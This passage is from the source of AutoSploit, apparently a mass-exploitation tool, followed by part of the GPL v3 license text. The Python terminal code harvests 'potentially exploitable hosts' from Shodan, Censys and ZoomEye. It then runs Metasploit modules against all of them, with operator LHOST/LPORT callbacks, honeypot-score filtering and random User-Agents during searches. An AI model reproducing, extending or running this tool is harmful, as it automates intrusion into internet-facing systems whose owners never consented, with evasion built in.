| self.history_dir = "{}/{}".format(lib.settings.HISTORY_FILE_PATH, datetime.date.today()) 63 | self.full_history_path = "{}/autosploit.history".format(self.history_dir) 64 | self.modules = modules 65 | try: 66 | self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() 67 | except IOError: 68 | lib.output.warning("no hosts file present") 69 | self.loaded_hosts = open(lib.settings.HOST_FILE, "a+").readlines() 70 | 71 | def __reload(self): 72 | self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() 73 | 74 | def reflect_memory(self, max_memory=100): 75 | """ 76 | reflect the command memory out of the history file 77 | """ 78 | if os.path.exists(self.history_dir): 79 | tmp = [] 80 | try: 81 | with open(self.full_history_path) as history: 82 | for item in history.readlines(): 83 | tmp.append(item.strip()) 84 | except: 85 | pass 86 | if len(tmp) == 0: 87 | lib.output.warning("currently no history") 88 | elif len(tmp) > max_memory: 89 | import shutil 90 | 91 | history_file_backup_path = "{}.{}.old".format( 92 | self.full_history_path, 93 | lib.jsonize.random_file_name(length=12) 94 | ) 95 | shutil.copy(self.full_history_path, history_file_backup_path) 96 | os.remove(self.full_history_path) 97 | open(self.full_history_path, 'a+').close() 98 | lib.output.misc_info("history file to large, backed up under '{}'".format(history_file_backup_path)) 99 | else: 100 | for cmd in tmp: 101 | self.history.append(cmd) 102 | 103 | def do_display_history(self): 104 | """ 105 | display the history from the history files 106 | """ 107 | for i, item in enumerate(self.history, start=1): 108 | if len(list(str(i))) == 2: 109 | spacer1, spacer2 = " ", " " 110 | elif len(list(str(i))) == 3: 111 | spacer1, spacer2 = " ", " " 112 | else: 113 | spacer1, spacer2 = " ", " " 114 | print("{}{}{}{}".format(spacer1, i, spacer2, item)) 115 | 116 | def get_choice(self): 117 | """ 118 | get the provided choice and return a tuple of options and the choice 119 | """ 120 | original_choice = raw_input(lib.settings.AUTOSPLOIT_PROMPT) 121 | try: 122 | choice_checker = original_choice.split(" ")[0] 123 | except: 124 | choice_checker = original_choice 125 | if choice_checker in self.internal_terminal_commands: 126 | retval = ("internal", original_choice) 127 | elif choice_checker in self.external_terminal_commands: 128 | retval = ("external", original_choice) 129 | else: 130 | retval = ("unknown", original_choice) 131 | return retval 132 | 133 | def do_show_version_number(self): 134 | """ 135 | display the current version number 136 | """ 137 | lib.output.info("your current version number: {}".format(lib.banner.VERSION)) 138 | 139 | def do_display_external(self): 140 | """ 141 | display all external commands 142 | """ 143 | print(" ".join(self.external_terminal_commands)) 144 | 145 | def do_terminal_command(self, command): 146 | """ 147 | run a terminal command 148 | """ 149 | lib.settings.cmdline(command, is_msf=False) 150 | 151 | def do_token_reset(self, api, token, username): 152 | """ 153 | Explanation: 154 | ------------ 155 | Reset the API tokens when needed, this will overwrite the existing 156 | API token with a provided one 157 | 158 | Parameters: 159 | ----------- 160 | :param api: name of the API to reset 161 | :param token: the token that will overwrite the current token 162 | :param username: if resetting Censys this will be the user ID token 163 | 164 | Examples: 165 | --------- 166 | Censys -> reset/tokens censys 167 | Shodan -> reset.tokens shodan 168 | """ 169 | if api.lower() == "censys": 170 | lib.output.info("resetting censys API credentials") 171 | with open(lib.settings.API_KEYS["censys"][0], 'w') as token_: 172 | token_.write(token) 173 | with open(lib.settings.API_KEYS["censys"][1], 'w') as username_: 174 | username_.write(username) 175 | else: 176 | with open(lib.settings.API_KEYS["shodan"][0], 'w') as token_: 177 | token_.write(token) 178 | lib.output.warning("program must be restarted for the new tokens to initialize") 179 | 180 | def do_api_search(self, requested_api_data, query, tokens): 181 | """ 182 | Explanation: 183 | ------------ 184 | Search the API with a provided query for potentially exploitable hosts. 185 | 186 | Parameters: 187 | ----------- 188 | :param requested_api_data: data to be used with the API tuple of info 189 | :param query: the query to be searched 190 | :param tokens: an argument dict that will contain the token information 191 | 192 | Examples: 193 | --------- 194 | search/api/gather shodan[,censys[,zoomeye]] windows 10 195 | """ 196 | acceptable_api_names = ("shodan", "censys", "zoomeye") 197 | api_checker = lambda l: all(i.lower() in acceptable_api_names for i in l) 198 | 199 | try: 200 | if len(query) < 1: 201 | query = "".join(query) 202 | else: 203 | query = " ".join(query) 204 | except: 205 | query = query 206 | 207 | if query == "" or query.isspace(): 208 | lib.output.warning("looks like you forgot the query") 209 | return 210 | try: 211 | api_list = requested_api_data.split(",") 212 | except: 213 | api_list = [requested_api_data] 214 | prompt_for_save = len(open(lib.settings.HOST_FILE).readlines()) != 0 215 | if prompt_for_save: 216 | save_mode = lib.output.prompt( 217 | "would you like to [a]ppend or [o]verwrite the file[a/o]", lowercase=True 218 | ) 219 | if save_mode.startswith("o"): 220 | backup = lib.settings.backup_host_file(lib.settings.HOST_FILE, lib.settings.HOST_FILE_BACKUP) 221 | lib.output.misc_info("current host file backed up under: '{}'".format(backup)) 222 | save_mode = "w" 223 | else: 224 | if not any(save_mode.startswith(s) for s in ("a", "o")): 225 | lib.output.misc_info("provided option is not valid, defaulting to 'a'") 226 | save_mode = "a+" 227 | else: 228 | save_mode = "a+" 229 | 230 | proxy = lib.output.prompt("enter your proxy or press enter for none", lowercase=False) 231 | if proxy.isspace() or proxy == "": 232 | proxy = {"http": "", "https": ""} 233 | else: 234 | proxy = {"http": proxy, "https": proxy} 235 | agent = lib.output.prompt("use a [r]andom User-Agent or the [d]efault one[r/d]", lowercase=True) 236 | if agent.startswith("r"): 237 | agent = {"User-Agent": lib.settings.grab_random_agent()} 238 | elif agent.startswith("d"): 239 | agent = {"User-Agent": lib.settings.DEFAULT_USER_AGENT} 240 | else: 241 | lib.output.warning("invalid option, using default") 242 | agent = {"User-Agent": lib.settings.DEFAULT_USER_AGENT} 243 | for api in api_list: 244 | res = api_checker([api]) 245 | if not res: 246 | lib.output.error( 247 | "API: '{}' is not a valid API, will be skipped".format(api) 248 | ) 249 | else: 250 | with open(lib.settings.QUERY_FILE_PATH, "a+") as tmp: 251 | tmp.write(query) 252 | lib.output.info( 253 | "starting search on API {} using query: '{}'".format(api, query) 254 | ) 255 | try: 256 | self.api_call_pointers[api.lower()]( 257 | token=tokens["shodan"][0] if api == "shodan" else tokens["censys"][0], 258 | identity=tokens["censys"][1] if api == "censys" else "", 259 | query=query, 260 | save_mode=save_mode, 261 | proxy=proxy, 262 | agent=agent 263 | ).search() 264 | except lib.errors.AutoSploitAPIConnectionError as e: 265 | lib.settings.stop_animation = True 266 | lib.output.error("error searching API: '{}', error message: '{}'".format(api, str(e))) 267 | lib.settings.stop_animation = True 268 | 269 | def do_display_usage(self): 270 | """ 271 | display the full help menu 272 | """ 273 | print(lib.settings.TERMINAL_HELP_MESSAGE) 274 | 275 | def do_view_gathered(self): 276 | """ 277 | view the gathered hosts 278 | """ 279 | if len(self.loaded_hosts) != 0: 280 | for host in self.loaded_hosts: 281 | lib.output.info(host.strip()) 282 | else: 283 | lib.output.warning("currently no gathered hosts") 284 | 285 | def do_add_single_host(self, ip): 286 | """ 287 | Explanation: 288 | ------------ 289 | Add a single host by IP address 290 | 291 | Parameters: 292 | ----------- 293 | :param ip: IP address to be added 294 | 295 | Examples: 296 | --------- 297 | single 89.76.12.124 298 | """ 299 | validated_ip = lib.settings.validate_ip_addr(ip) 300 | if not validated_ip: 301 | lib.output.error("provided IP '{}' is invalid, try again".format(ip)) 302 | else: 303 | with open(lib.settings.HOST_FILE, "a+") as hosts: 304 | hosts.write(ip + "\n") 305 | lib.output.info("host '{}' saved to hosts file".format(ip)) 306 | 307 | def do_quit_terminal(self, save_history=True): 308 | """ 309 | quit the terminal and save the command history 310 | """ 311 | self.quit_terminal = True 312 | if save_history: 313 | if not os.path.exists(self.history_dir): 314 | os.makedirs(self.history_dir) 315 | lib.output.misc_info("saving history") 316 | with open(self.full_history_path, "a+") as hist: 317 | for item in self.history: 318 | hist.write(item + "\n") 319 | lib.output.info("exiting terminal session") 320 | 321 | def do_exploit_targets(self, workspace_info, shodan_token=None): 322 | """ 323 | Explanation: 324 | ------------ 325 | Exploit the already gathered hosts inside of the hosts.txt file 326 | 327 | Parameters: 328 | ----------- 329 | :param workspace_info: a tuple of workspace information 330 | 331 | Examples: 332 | --------- 333 | exploit/run/attack 127.0.0.1 9065 default [whitewash list] 334 | """ 335 | if workspace_info[3] is not None and workspace_info[3] != "honeycheck": 336 | lib.output.misc_info("doing whitewash on hosts file") 337 | lib.exploitation.exploiter.whitelist_wash( 338 | open(lib.settings.HOST_FILE).readlines(), 339 | workspace_info[3] 340 | ) 341 | else: 342 | if not lib.settings.check_for_msf(): 343 | msf_path = lib.output.prompt( 344 | "metasploit is not in your PATH, provide the full path to it", lowercase=False 345 | ) 346 | ruby_exec = True 347 | else: 348 | msf_path = None 349 | ruby_exec = False 350 | 351 | sort_mods = lib.output.prompt( 352 | "sort modules by relevance to last query[y/N]", lowercase=True 353 | ) 354 | 355 | try: 356 | if sort_mods.lower().startswith("y"): 357 | mods_to_use = lib.exploitation.exploiter.AutoSploitExploiter( 358 | None, None 359 | ).sort_modules_by_query() 360 | else: 361 | mods_to_use = self.modules 362 | except Exception: 363 | lib.output.error("error sorting modules defaulting to all") 364 | mods_to_use = self.modules 365 | 366 | view_modules = lib.output.prompt("view sorted modules[y/N]", lowercase=True) 367 | if view_modules.startswith("y"): 368 | for mod in mods_to_use: 369 | lib.output.misc_info(mod.strip()) 370 | lib.output.prompt("press enter to start exploitation phase") 371 | lib.output.info("starting exploitation phase") 372 | lib.exploitation.exploiter.AutoSploitExploiter( 373 | configuration=workspace_info[0:3], 374 | all_modules=mods_to_use, 375 | hosts=open(lib.settings.HOST_FILE).readlines(), 376 | msf_path=msf_path, 377 | ruby_exec=ruby_exec, 378 | check_honey=workspace_info[-1], 379 | shodan_token=shodan_token 380 | ).start_exploit() 381 | 382 | def do_load_custom_hosts(self, file_path): 383 | """ 384 | Explanation: 385 | ----------- 386 | Load a custom exploit file, this is useful to attack already gathered hosts 387 | instead of trying to gather them again from the backup host files inside 388 | of the `.autosploit_home` directory 389 | 390 | Parameters: 391 | ----------- 392 | :param file_path: the full path to the loadable hosts file 393 | 394 | Examples: 395 | --------- 396 | custom/personal /some/path/to/myfile.txt 397 | """ 398 | import shutil 399 | 400 | try: 401 | open("{}".format(file_path)).close() 402 | except IOError: 403 | lib.output.error("file does not exist, check the path and try again") 404 | return 405 | lib.output.warning("overwriting hosts file with provided, and backing up current") 406 | backup_path = lib.settings.backup_host_file(lib.settings.HOST_FILE, lib.settings.HOST_FILE_BACKUP) 407 | shutil.copy(file_path, lib.settings.HOST_FILE) 408 | lib.output.info("host file replaced, backup stored under '{}'".format(backup_path)) 409 | self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() 410 | 411 | def terminal_main_display(self, tokens, extra_commands=None, save_history=True): 412 | """ 413 | terminal main display 414 | """ 415 | lib.output.warning( 416 | "no arguments have been parsed at run time, dropping into terminal session. " 417 | "to get help type `help` to quit type `exit/quit` to get help on " 418 | "a specific command type `command help`" 419 | ) 420 | 421 | if extra_commands is not None: 422 | for command in extra_commands: 423 | self.external_terminal_commands.append(command) 424 | self.reflect_memory() 425 | while not self.quit_terminal: 426 | try: 427 | lib.settings.auto_completer(self.internal_terminal_commands) 428 | try: 429 | choice_type, choice = self.get_choice() 430 | if choice_type == "unknown": 431 | sims = lib.settings.find_similar( 432 | choice, 433 | self.internal_terminal_commands, 434 | self.external_terminal_commands 435 | ) 436 | if len(sims) != 0: 437 | max_sims_display = 7 438 | print( 439 | "no command '{}' found, but there {} {} similar command{}".format( 440 | choice, 441 | "are" if len(sims) > 1 else "is", 442 | len(sims), 443 | "s" if len(sims) > 1 else "" 444 | ) 445 | ) 446 | if len(sims) > max_sims_display: 447 | print("will only display top {} results".format(max_sims_display)) 448 | for i, cmd in enumerate(sims, start=1): 449 | if i == max_sims_display: 450 | break 451 | print(cmd) 452 | print("{}: command not found".format(choice)) 453 | else: 454 | print("{} command not found".format(choice)) 455 | self.history.append(choice) 456 | elif choice_type == "external": 457 | self.do_terminal_command(choice) 458 | self.history.append(choice) 459 | else: 460 | try: 461 | choice_data_list = choice.split(" ") 462 | if choice_data_list[-1] == "": 463 | choice_data_list = None 464 | except: 465 | choice_data_list = None 466 | if choice == "?" or choice == "help": 467 | self.do_display_usage() 468 | elif any(c in choice for c in ("external",)): 469 | self.do_display_external() 470 | elif any(c in choice for c in ("history", "mem", "memory")): 471 | self.do_display_history() 472 | elif any(c in choice for c in ("exit", "quit")): 473 | self.do_quit_terminal(save_history=save_history) 474 | elif any(c in choice for c in ("view", "show")): 475 | self.do_view_gathered() 476 | elif any(c in choice for c in ("ver", "version")): 477 | self.do_show_version_number() 478 | elif "single" in choice: 479 | try: 480 | if "help" in choice_data_list: 481 | print(self.do_load_custom_hosts.__doc__) 482 | except TypeError: 483 | pass 484 | if choice_data_list is None or len(choice_data_list) == 1: 485 | lib.output.error("must provide host IP after `single` keyword (IE single 89.65.78.123)") 486 | else: 487 | self.do_add_single_host(choice_data_list[-1]) 488 | elif any(c in choice for c in ("exploit", "run", "attack")): 489 | try: 490 | if "help" in choice_data_list: 491 | print(self.do_exploit_targets.__doc__) 492 | except TypeError: 493 | pass 494 | if len(choice_data_list) < 4: 495 | lib.output.error( 496 | "must provide at least LHOST, LPORT, workspace name with `{}` keyword " 497 | "(IE {} 127.0.0.1 9076 default [whitelist-path] [honeycheck])".format( 498 | choice, choice 499 | ) 500 | ) 501 | else: 502 | if lib.settings.validate_ip_addr(choice_data_list[1], home_ok=True): 503 | try: 504 | workspace = ( 505 | choice_data_list[1], choice_data_list[2], 506 | choice_data_list[3], choice_data_list[4], 507 | True if "honeycheck" in choice_data_list else False 508 | ) 509 | except IndexError: 510 | workspace = ( 511 | choice_data_list[1], choice_data_list[2], 512 | choice_data_list[3], None, 513 | True if "honeycheck" in choice_data_list else False 514 | ) 515 | if workspace[-1]: 516 | honeyscore = None 517 | while honeyscore is None: 518 | honeyscore = lib.output.prompt( 519 | "enter the honeyscore you want as the maximum allowed" 520 | ) 521 | try: 522 | honeyscore = float(honeyscore) 523 | except: 524 | honeyscore = None 525 | lib.output.error("honey score must be a float (IE 0.3)") 526 | self.do_exploit_targets( 527 | workspace, shodan_token=self.tokens["shodan"][0] 528 | ) 529 | else: 530 | lib.output.warning( 531 | "heuristics could not validate provided IP address, " 532 | "did you type it right?" 533 | ) 534 | elif any(c in choice for c in ("personal", "custom")): 535 | try: 536 | if "help" in choice_data_list: 537 | print(self.do_load_custom_hosts.__doc__) 538 | except TypeError: 539 | pass 540 | if len(choice_data_list) == 1: 541 | lib.output.error("must provide full path to file after `{}` keyword".format(choice)) 542 | else: 543 | self.do_load_custom_hosts(choice_data_list[-1]) 544 | elif any(c in choice for c in ("search", "api", "gather")): 545 | try: 546 | if "help" in choice_data_list: 547 | print(self.do_load_custom_hosts.__doc__) 548 | except TypeError: 549 | pass 550 | if len(choice_data_list) < 3: 551 | lib.output.error( 552 | "must provide a list of API names after `{}` keyword and query " 553 | "(IE {} shodan,censys apache2)".format( 554 | choice, choice 555 | ) 556 | ) 557 | else: 558 | self.do_api_search(choice_data_list[1], choice_data_list[2:], tokens) 559 | elif any(c in choice for c in ("idkwhatimdoing", "ethics", "skid")): 560 | import random 561 | 562 | if choice == "ethics" or choice == "idkwhatimdoing": 563 | ethics_file = "{}/etc/text_files/ethics.lst".format(os.getcwd()) 564 | other_file = "{}/etc/text_files/gen".format(os.getcwd()) 565 | with open(ethics_file) as ethics: 566 | ethic = random.choice(ethics.readlines()).strip() 567 | lib.output.info("take this ethical lesson into consideration before proceeding:") 568 | print("\n{}\n".format(ethic)) 569 | lib.output.warning(open(other_file).read()) 570 | else: 571 | lib.output.warning("hack to learn, don't learn to hack") 572 | elif any(c in choice for c in ("tokens", "reset")): 573 | acceptable_api_names = ("shodan", "censys") 574 | 575 | try: 576 | if "help" in choice_data_list: 577 | print(self.do_load_custom_hosts.__doc__) 578 | except TypeError: 579 | pass 580 | 581 | if len(choice_data_list) < 3: 582 | lib.output.error( 583 | "must supply API name with `{}` keyword along with " 584 | "new token (IE {} shodan mytoken123 [userID (censys)])".format( 585 | choice, choice 586 | ) 587 | ) 588 | else: 589 | if choice_data_list[1].lower() in acceptable_api_names: 590 | try: 591 | api, token, username = choice_data_list[1], choice_data_list[2], choice_data_list[3] 592 | except IndexError: 593 | api, token, username = choice_data_list[1], choice_data_list[2], None 594 | self.do_token_reset(api, token, username) 595 | else: 596 | lib.output.error("cannot reset {} API credentials".format(choice)) 597 | self.history.append(choice) 598 | self.__reload() 599 | except KeyboardInterrupt: 600 | lib.output.warning("use the `exit/quit` command to end terminal session") 601 | except IndexError: 602 | pass -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified 